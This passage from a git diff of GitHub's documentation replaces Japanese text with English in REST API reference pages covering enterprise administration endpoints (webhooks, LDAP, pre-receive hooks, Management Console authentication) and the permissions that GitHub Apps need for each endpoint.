ghes %} -## グローバル webhook +## Global webhooks -グローバル webhook は Enterprise にインストールされています。 グローバル webhook を使用して、Engerprise のユーザ、Organization、Team、およびリポジトリのルールを自動的に監視、対応、強制することができます。 グローバル webhook は、[Organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization)、[ユーザ](/developers/webhooks-and-events/webhook-events-and-payloads#user)、[リポジトリ](/developers/webhooks-and-events/webhook-events-and-payloads#repository)、[Team](/developers/webhooks-and-events/webhook-events-and-payloads#team)、[メンバー](/developers/webhooks-and-events/webhook-events-and-payloads#member)、[メンバーシップ](/developers/webhooks-and-events/webhook-events-and-payloads#membership)、[フォーク](/developers/webhooks-and-events/webhook-events-and-payloads#fork)、[ping](/developers/webhooks-and-events/about-webhooks#ping-event) イベントタイプをサブスクライブできます。 +Global webhooks are installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise. Global webhooks can subscribe to the [organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization), [user](/developers/webhooks-and-events/webhook-events-and-payloads#user), [repository](/developers/webhooks-and-events/webhook-events-and-payloads#repository), [team](/developers/webhooks-and-events/webhook-events-and-payloads#team), [member](/developers/webhooks-and-events/webhook-events-and-payloads#member), [membership](/developers/webhooks-and-events/webhook-events-and-payloads#membership), [fork](/developers/webhooks-and-events/webhook-events-and-payloads#fork), and [ping](/developers/webhooks-and-events/about-webhooks#ping-event) event types. -*この API は、[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`404` レスポンスを受け取ります。 グローバル webhook の設定方法については、[グローバル webhookについて](/enterprise/admin/user-management/about-global-webhooks)を参照してください。 +*This API is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. To learn how to configure global webhooks, see [About global webhooks](/enterprise/admin/user-management/about-global-webhooks). {% for operation in currentRestOperations %} {% if operation.subcategory == 'global-webhooks' %}{% include rest_operation %}{% endif %} @@ -130,9 +133,9 @@ Enterprise の現在のバージョンは、すべての API のレスポンス ## LDAP -LDAP API を使用して、{% data variables.product.product_name %} ユーザまたは Team とそのリンクされた LDAP エントリ間のアカウント関係を更新するか、新しい同期をキューに入れることができます。 +You can use the LDAP API to update account relationships between a {% data variables.product.product_name %} user or team and its linked LDAP entry or queue a new synchronization. -LDAP マッピングエンドポイントを使用すると、ユーザまたは Team がマッピングする識別名（DN）を更新できます。 LDAP エンドポイントは通常、{% data variables.product.product_name %} アプライアンスで [LDAP 同期が有効](/enterprise/admin/authentication/using-ldap)になっている場合にのみ有効です。 [ユーザの LDAP マッピングの更新](#update-ldap-mapping-for-a-user)エンドポイントは、LDAP 同期が無効になっている場合でも、LDAP が有効になっていれば使用できます。 +With the LDAP mapping endpoints, you're able to update the Distinguished Name (DN) that a user or team maps to. Note that the LDAP endpoints are generally only effective if your {% data variables.product.product_name %} appliance has [LDAP Sync enabled](/enterprise/admin/authentication/using-ldap). The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled. {% for operation in currentRestOperations %} {% if operation.subcategory == 'ldap' %}{% include rest_operation %}{% endif %} @@ -141,9 +144,9 @@ LDAP マッピングエンドポイントを使用すると、ユーザまたは {% endif %} {% ifversion ghae or ghes %} -## ライセンス +## License -ライセンス API は、Enterprise ライセンスに関する情報を提供します。 *[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`404` レスポンスを受け取ります。 +The License API provides information on your Enterprise license. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'license' %}{% include rest_operation %}{% endif %} @@ -153,31 +156,31 @@ LDAP マッピングエンドポイントを使用すると、ユーザまたは {% ifversion ghes %} -## Management Console +## Management console -管理コンソール API は、{% data variables.product.product_name %} インストールの管理に役立ちます。 +The Management Console API helps you manage your {% data variables.product.product_name %} installation. {% tip %} -Management Console への API 呼び出しを行うときは、ポート番号を明示的に設定する必要があります。 Enterprise で TLS が有効になっている場合、ポート番号は `8443` です。それ以外の場合、ポート番号は `8080` です。 +You must explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`; otherwise, the port number is `8080`. -ポート番号を提供しない場合は、自動的にリダイレクトに従うようにツールを設定する必要があります。 +If you don't want to provide a port number, you'll need to configure your tool to automatically follow redirects. -{% data variables.product.product_name %} は、[独自の TLS 証明書](/enterprise/admin/guides/installation/configuring-tls/)を追加する前は自己署名証明書を使用するため、`cURL` を使用するときに [`-k` フラグ](http://curl.haxx.se/docs/manpage.html#-k)を追加する必要もあるかもしれません。 +You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.product_name %} uses a self-signed certificate before you [add your own TLS certificate](/enterprise/admin/guides/installation/configuring-tls/). {% endtip %} -### 認証 +### Authentication -[Management Console のパスワード](/enterprise/admin/articles/accessing-the-management-console/)を認証トークンとして [`/setup/api/start`](#create-a-github-enterprise-server-license) を除くすべての Management Console API エンドポイントに渡す必要があります。 +You need to pass your [Management Console password](/enterprise/admin/articles/accessing-the-management-console/) as an authentication token to every Management Console API endpoint except [`/setup/api/start`](#create-a-github-enterprise-server-license). -`api_key` パラメータを使用して、リクエストごとにこのトークンを送信します。 例: +Use the `api_key` parameter to send this token with each request. For example: ```shell $ curl -L 'https://hostname:admin_port/setup/api?api_key=your-amazing-password' ``` -標準の HTTP 認証を使用してこのトークンを送信することもできます。 例: +You can also use standard HTTP authentication to send this token. For example: ```shell $ curl -L 'https://api_key:your-amazing-password@hostname:admin_port/setup/api' @@ -190,9 +193,9 @@ $ curl -L 'https://api_key:your-amazing-password@hostname: {% endif %} {% ifversion ghae or ghes %} -## Organization +## Organizations -Organization 管理 API を使用すると、Enterprise に Organization を作成できます。 *[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`404` レスポンスを受け取ります。 +The Organization Administration API allows you to create organizations on your enterprise. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'orgs' %}{% include rest_operation %}{% endif %} @@ -201,22 +204,25 @@ Organization 管理 API を使用すると、Enterprise に Organization を作 {% endif %} {% ifversion ghes %} -## Organization pre-receive フック +## Organization pre-receive hooks -Organization pre-receive フック API を使用すると、Organization で使用可能な pre-receive フックの適用を表示および変更できます。 +The Organization Pre-receive Hooks API allows you to view and modify +enforcement of the pre-receive hooks that are available to an organization. -### オブジェクトの属性 +### Object attributes -| 名前 | 種類 | 説明 | -| -------------------------------- | --------- | ------------------------ | -| `name` | `string` | フックの名前。 | -| `enforcement` | `string` | このリポジトリでのフックの適用状態。 | -| `allow_downstream_configuration` | `boolean` | リポジトリが適用をオーバーライドできるかどうか。 | -| `configuration_url` | `string` | 適用設定されているエンドポイントの URL。 | +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | -*適用*可能な値は、`enabled`、`disabled`、`testing` です。 `disabled` は、pre-receive フックが実行されないことを示します。 `enabled` は、それが実行され、ゼロ以外の状態になるプッシュを拒否することを示します。 `testing` は、スクリプトは実行されるが、プッシュが拒否されないことを示します。 +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. -`configuration_url` は、このエンドポイントまたはこのフックのグローバル設定へのリンクです。 サイトアドミンのみがグローバル設定にアクセスできます。 +`configuration_url` may be a link to this endpoint or this hook's global +configuration. Only site admins are able to access the global configuration. {% for operation in currentRestOperations %} {% if operation.subcategory == 'org-pre-receive-hooks' %}{% include rest_operation %}{% endif %} @@ -226,31 +232,31 @@ Organization pre-receive フック API を使用すると、Organization で使 {% ifversion ghes %} -## pre-receive 環境 +## Pre-receive environments -pre-receive 環境 API を使用すると、pre-receive フックの環境を作成、一覧表示、更新、および削除できます。 *[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`404` レスポンスを受け取ります。 +The Pre-receive Environments API allows you to create, list, update and delete environments for pre-receive hooks. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. -### オブジェクトの属性 +### Object attributes -#### pre-receive 環境 +#### Pre-receive Environment -| 名前 | 種類 | 説明 | -| --------------------- | --------- | ---------------------------------------------------------------- | -| `name` | `string` | UI に表示される環境の名前。 | -| `image_url` | `string` | ダウンロードおよび抽出される tarball への URL。 | -| `default_environment` | `boolean` | これが {% data variables.product.product_name %} に同梱されるデフォルト環境かどうか。 | -| `download` | `オブジェクト` | この環境のダウンロードステータス。 | -| `hooks_count` | `integer` | この環境を使用する pre-receive フックの数。 | +| Name | Type | Description | +|-----------------------|-----------|----------------------------------------------------------------------------| +| `name` | `string` | The name of the environment as displayed in the UI. | +| `image_url` | `string` | URL to the tarball that will be downloaded and extracted. | +| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.product_name %}. | +| `download` | `object` | This environment's download status. | +| `hooks_count` | `integer` | The number of pre-receive hooks that use this environment. | -#### pre-receive 環境のダウンロード +#### Pre-receive Environment Download -| 名前 | 種類 | 説明 | -| --------------- | -------- | --------------------- | -| `state` | `string` | 最新のダウンロードの状態。 | -| `downloaded_at` | `string` | 最新のダウンロードの開始時刻。 | -| `message` | `string` | 失敗時に、エラーメッセージが生成されます。 | +| Name | Type | Description | +|-----------------|----------|---------------------------------------------------------| +| `state` | `string` | The state of the most recent download. | +| `downloaded_at` | `string` | The time when the most recent download started. | +| `message` | `string` | On failure, this will have any error messages produced. | -`state`が取り得る値は、`not_started`、`in_progress`、`success`、`failed`です。 +Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`. {% for operation in currentRestOperations %} {% if operation.subcategory == 'pre-receive-environments' %}{% include rest_operation %}{% endif %} @@ -259,24 +265,26 @@ pre-receive 環境 API を使用すると、pre-receive フックの環境を作 {% endif %} {% ifversion ghes %} -## pre-receive フック +## Pre-receive hooks -pre-receive フック API を使用すると、pre-receive フックを作成、一覧表示、更新、および削除できます。 *これは[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`404` レスポンスを受け取ります。 +The Pre-receive Hooks API allows you to create, list, update and delete pre-receive hooks. *It is only available to +[authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. -### オブジェクトの属性 +### Object attributes -#### pre-receive フック +#### Pre-receive Hook -| 名前 | 種類 | 説明 | -| -------------------------------- | --------- | ------------------------------------ | -| `name` | `string` | フックの名前。 | -| `script` | `string` | フックが実行するスクリプト。 | -| `script_repository` | `オブジェクト` | スクリプトが保存されているGitHubリポジトリ。 | -| `environment` | `オブジェクト` | スクリプトが実行される pre-receive 環境。 | -| `enforcement` | `string` | このフックの適用状態。 | -| `allow_downstream_configuration` | `boolean` | 適用の Org レベルまたは repo レベルでのオーバーライドの可否。 | +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `script` | `string` | The script that the hook runs. | +| `script_repository` | `object` | The GitHub repository where the script is kept. | +| `environment` | `object` | The pre-receive environment where the script is executed. | +| `enforcement` | `string` | The state of enforcement for this hook. | +| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. | -*適用*可能な値は、`enabled`、`disabled`、`testing` です。 `disabled` は、pre-receive フックが実行されないことを示します。 `enabled` は、それが実行され、ゼロ以外の状態になるプッシュを拒否することを示します。 `testing` は、スクリプトは実行されるが、プッシュが拒否されないことを示します。 +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. {% for operation in currentRestOperations %} {% if operation.subcategory == 'pre-receive-hooks' %}{% include rest_operation %}{% endif %} @@ -286,21 +294,22 @@ pre-receive フック API を使用すると、pre-receive フックを作成、 {% ifversion ghes %} -## リポジトリ pre-receive フック +## Repository pre-receive hooks -リポジトリ pre-receive フック API を使用すると、リポジトリで使用可能な pre-receive フックの適用を表示および変更できます。 +The Repository Pre-receive Hooks API allows you to view and modify +enforcement of the pre-receive hooks that are available to a repository. -### オブジェクトの属性 +### Object attributes -| 名前 | 種類 | 説明 | -| ------------------- | -------- | ---------------------- | -| `name` | `string` | フックの名前。 | -| `enforcement` | `string` | このリポジトリでのフックの適用状態。 | -| `configuration_url` | `string` | 適用設定されているエンドポイントの URL。 | +| Name | Type | Description | +|---------------------|----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | -*適用*可能な値は、`enabled`、`disabled`、`testing` です。 `disabled` は、pre-receive フックが実行されないことを示します。 `enabled` は、それが実行され、ゼロ以外の状態になるプッシュを拒否することを示します。 `testing` は、スクリプトは実行されるが、プッシュが拒否されないことを示します。 +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. -`configuration_url` は、このリポジトリ、その Organization のオーナー、またはグローバル設定へのリンクである場合があります。 `configuration_url` でエンドポイントにアクセスする権限は、所有者またはサイトアドミンレベルで決定されます。 +`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level. {% for operation in currentRestOperations %} {% if operation.subcategory == 'repo-pre-receive-hooks' %}{% include rest_operation %}{% endif %} @@ -309,9 +318,9 @@ pre-receive フック API を使用すると、pre-receive フックを作成、 {% endif %} {% ifversion ghae or ghes %} -## ユーザ +## Users -ユーザ管理 API では、Enterprise でユーザをサスペンド{% ifversion ghes %}、サスペンド解除、昇格、降格、{% endif %}{% ifversion ghae %}およびサスペンド解除{% endif %}できます。 *これは[認証された](/rest/overview/resources-in-the-rest-api#authentication)サイト管理者のみが使用できます。*通常のユーザがアクセスしようとすると、`403` レスポンスを受け取ります。 +The User Administration API allows you to suspend{% ifversion ghes %}, unsuspend, promote, and demote{% endif %}{% ifversion ghae %} and unsuspend{% endif %} users on your enterprise. *It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `403` response if they try to access it. {% for operation in currentRestOperations %} {% if operation.subcategory == 'users' %}{% include rest_operation %}{% endif %} diff --git a/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md b/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md index ab96a34761..a8142804dc 100644 --- a/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md +++ b/translations/ja-JP/content/rest/reference/permissions-required-for-github-apps.md @@ -1,6 +1,6 @@ --- -title: GitHub Appに必要な権限 -intro: '{% data variables.product.prodname_github_app %}互換の各エンドポイントについて、必要な権限を確認できます。' +title: Permissions required for GitHub Apps +intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.' redirect_from: - /v3/apps/permissions versions: @@ -11,16 +11,16 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -shortTitle: GitHub Appの権限 +shortTitle: GitHub App permissions --- -### {% data variables.product.prodname_github_app %}の権限について +### About {% data variables.product.prodname_github_app %} permissions -{% data variables.product.prodname_github_apps %} are created with a set of permissions. {% data variables.product.prodname_github_app %}がAPIを介してアクセスできるリソースが、権限によって決まります。 詳細は、「[GitHub Appの権限の設定](/apps/building-github-apps/setting-permissions-for-github-apps/)」を参照してください。 +{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)." -### メタデータ権限 +### Metadata permissions -GitHub Appは、デフォルトで`Read-only`メタデータ権限を持ちます。 メタデータ権限は、各種リソースのメタデータを持つ読み取り専用のエンドポイントのコレクションへのアクセスを提供します。 これらのエンドポイントで、機密のプライベートリポジトリ情報が漏洩することはありません。 +GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information. {% data reusables.apps.metadata-permissions %} @@ -35,7 +35,7 @@ GitHub Appは、デフォルトで`Read-only`メタデータ権限を持ちま - [`POST /markdown/raw`](/rest/reference/markdown#render-a-markdown-document-in-raw-mode) - [`GET /meta`](/rest/reference/meta#meta) - [`GET /organizations`](/rest/reference/orgs#list-organizations) -- [`GET /orgs/:org`](/rest/reference/orgs#list-organizations) +- [`GET /orgs/:org`](/rest/reference/orgs#get-an-organization) - [`GET /orgs/:org/projects`](/rest/reference/projects#list-organization-projects) - [`GET /orgs/:org/repos`](/rest/reference/repos#list-organization-repositories) - [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user) @@ -72,17 +72,17 @@ GitHub Appは、デフォルトで`Read-only`メタデータ権限を持ちま - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user) - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) -_コラボレータ_ +_Collaborators_ - [`GET /repos/:owner/:repo/collaborators`](/rest/reference/repos#list-repository-collaborators) - [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator) -_コミットのコメント_ +_Commit comments_ - [`GET /repos/:owner/:repo/comments`](/rest/reference/repos#list-commit-comments-for-a-repository) - [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#get-a-commit-comment) - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment) - [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/repos#list-commit-comments) -_イベント_ +_Events_ - [`GET /events`](/rest/reference/activity#list-public-events) - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories) - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events) @@ -95,16 +95,16 @@ _Git_ - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates) - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template) -_キー_ +_Keys_ - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user) -_Organizationメンバー_ +_Organization members_ - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members) - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user) - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members) - [`GET /orgs/:org/public_members/:username`](/rest/reference/orgs#check-public-organization-membership-for-a-user) -_検索_ +_Search_ - [`GET /search/code`](/rest/reference/search#search-code) - [`GET /search/commits`](/rest/reference/search#search-commits) - [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests) @@ -114,7 +114,7 @@ _検索_ - [`GET /search/users`](/rest/reference/search#search-users) {% ifversion fpt or ghes or ghec %} -### "actions"に対する権限 +### Permission on "actions" - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read) - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read) @@ -138,7 +138,7 @@ _検索_ - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read) {% endif %} -### "administration"に対する権限 +### Permission on "administration" - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write) - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write) @@ -147,6 +147,11 @@ _検索_ - [`GET /repos/:owner/:repo/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (:read) - [`GET /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (:read) - [`DELETE /repos/:owner/:repo/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (:write) +- [`GET /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (:read) +- [`POST /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (:write) +- [`PUT /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (:write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (:write) +- [`DELETE /repos/:owner/:repo/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (:write) {% ifversion fpt or ghes -%} - [`POST /repos/:owner/:repo/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (:write) - [`POST /repos/:owner/:repo/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (:write) @@ -184,7 +189,7 @@ _検索_ - [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/repos#accept-a-repository-invitation) (:write) - [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/repos#decline-a-repository-invitation) (:write) -_ブランチ_ +_Branches_ - [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#get-branch-protection) (:read) - [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#update-branch-protection) (:write) - [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#delete-branch-protection) (:write) @@ -218,28 +223,28 @@ _ブランチ_ - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write) {% endif %} -_コラボレータ_ +_Collaborators_ - [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#add-a-repository-collaborator) (:write) - [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#remove-a-repository-collaborator) (:write) -_招待_ +_Invitations_ - [`GET /repos/:owner/:repo/invitations`](/rest/reference/repos#list-repository-invitations) (:read) - [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#update-a-repository-invitation) (:write) - [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#delete-a-repository-invitation) (:write) -_キー_ +_Keys_ - [`GET /repos/:owner/:repo/keys`](/rest/reference/repos#list-deploy-keys) (:read) - [`POST /repos/:owner/:repo/keys`](/rest/reference/repos#create-a-deploy-key) (:write) - [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#get-a-deploy-key) (:read) - [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#delete-a-deploy-key) (:write) -_Team_ +_Teams_ - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read) - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write) - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write) {% ifversion fpt or ghec %} -_トラフィック_ +_Traffic_ - [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repos#get-repository-clones) (:read) - [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repos#get-top-referral-paths) (:read) - [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repos#get-top-referral-sources) (:read) @@ -247,7 +252,7 @@ _トラフィック_ {% endif %} {% ifversion fpt or ghec %} -### "blocking"に対する権限 +### Permission on "blocking" - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read) - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read) @@ -255,7 +260,7 @@ _トラフィック_ - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write) {% endif %} -### "checks"に対する権限 +### Permission on "checks" - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write) - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read) @@ -269,7 +274,7 @@ _トラフィック_ - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read) - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read) -### "contents"に対する権限 +### Permission on "contents" - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read) {% ifversion fpt -%} @@ -355,7 +360,7 @@ _トラフィック_ - [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (:write) - [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (:read) -_ブランチ_ +_Branches_ - [`GET /repos/:owner/:repo/branches`](/rest/reference/repos#list-branches) (:read) - [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/repos#get-a-branch) (:read) - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (:write) @@ -366,7 +371,7 @@ _ブランチ_ - [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write) {% endif %} -_コミットのコメント_ +_Commit comments_ - [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#update-a-commit-comment) (:write) - [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#delete-a-commit-comment) (:write) - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read) @@ -388,7 +393,7 @@ _Git_ - [`GET /repos/:owner/:repo/git/trees/:sha`](/rest/reference/git#get-a-tree) (:read) {% ifversion fpt or ghec %} -_インポート_ +_Import_ - [`GET /repos/:owner/:repo/import`](/rest/reference/migrations#get-an-import-status) (:read) - [`PUT /repos/:owner/:repo/import`](/rest/reference/migrations#start-an-import) (:write) - [`PATCH /repos/:owner/:repo/import`](/rest/reference/migrations#update-an-import) (:write) @@ -399,7 +404,7 @@ _インポート_ - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write) {% endif %} -_リアクション_ +_Reactions_ {% ifversion fpt or ghes or ghae -%} - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (:write) @@ -415,7 +420,7 @@ _リアクション_ - [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (:write) {% endif %} -_リリース_ +_Releases_ - [`GET /repos/:owner/:repo/releases`](/rest/reference/repos/#list-releases) (:read) - [`POST /repos/:owner/:repo/releases`](/rest/reference/repos/#create-a-release) (:write) - [`GET /repos/:owner/:repo/releases/:release_id`](/rest/reference/repos/#get-a-release) (:read) @@ -428,7 +433,7 @@ _リリース_ - [`GET /repos/:owner/:repo/releases/latest`](/rest/reference/repos/#get-the-latest-release) (:read) - [`GET /repos/:owner/:repo/releases/tags/:tag`](/rest/reference/repos/#get-a-release-by-tag-name) (:read) -### "deployments"に対する権限 +### Permission on "deployments" - [`GET /repos/:owner/:repo/deployments`](/rest/reference/repos#list-deployments) (:read) - [`POST /repos/:owner/:repo/deployments`](/rest/reference/repos#create-a-deployment) (:write) @@ -441,7 +446,7 @@ _リリース_ - [`GET /repos/:owner/:repo/deployments/:deployment_id/statuses/:status_id`](/rest/reference/repos#get-a-deployment-status) (:read) {% ifversion fpt or ghes or ghec %} -### "emails"に対する権限 +### Permission on "emails" {% ifversion fpt -%} - [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (:write) @@ -452,7 +457,7 @@ _リリース_ - [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (:read) {% endif %} -### "followers"に対する権限 +### Permission on "followers" - [`GET /user/followers`](/rest/reference/users#list-followers-of-a-user) (:read) - [`GET /user/following`](/rest/reference/users#list-the-people-a-user-follows) (:read) @@ -460,7 +465,7 @@ _リリース_ - [`PUT /user/following/:username`](/rest/reference/users#follow-a-user) (:write) - [`DELETE /user/following/:username`](/rest/reference/users#unfollow-a-user) (:write) -### "gpg keys"に対する権限 +### Permission on "gpg keys" - [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (:read) - [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (:write) @@ -468,16 +473,16 @@ _リリース_ - [`DELETE /user/gpg_keys/:gpg_key_id`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (:write) {% ifversion fpt or ghec %} -### "interaction limits"に対する権限 +### Permission on "interaction limits" - [`GET 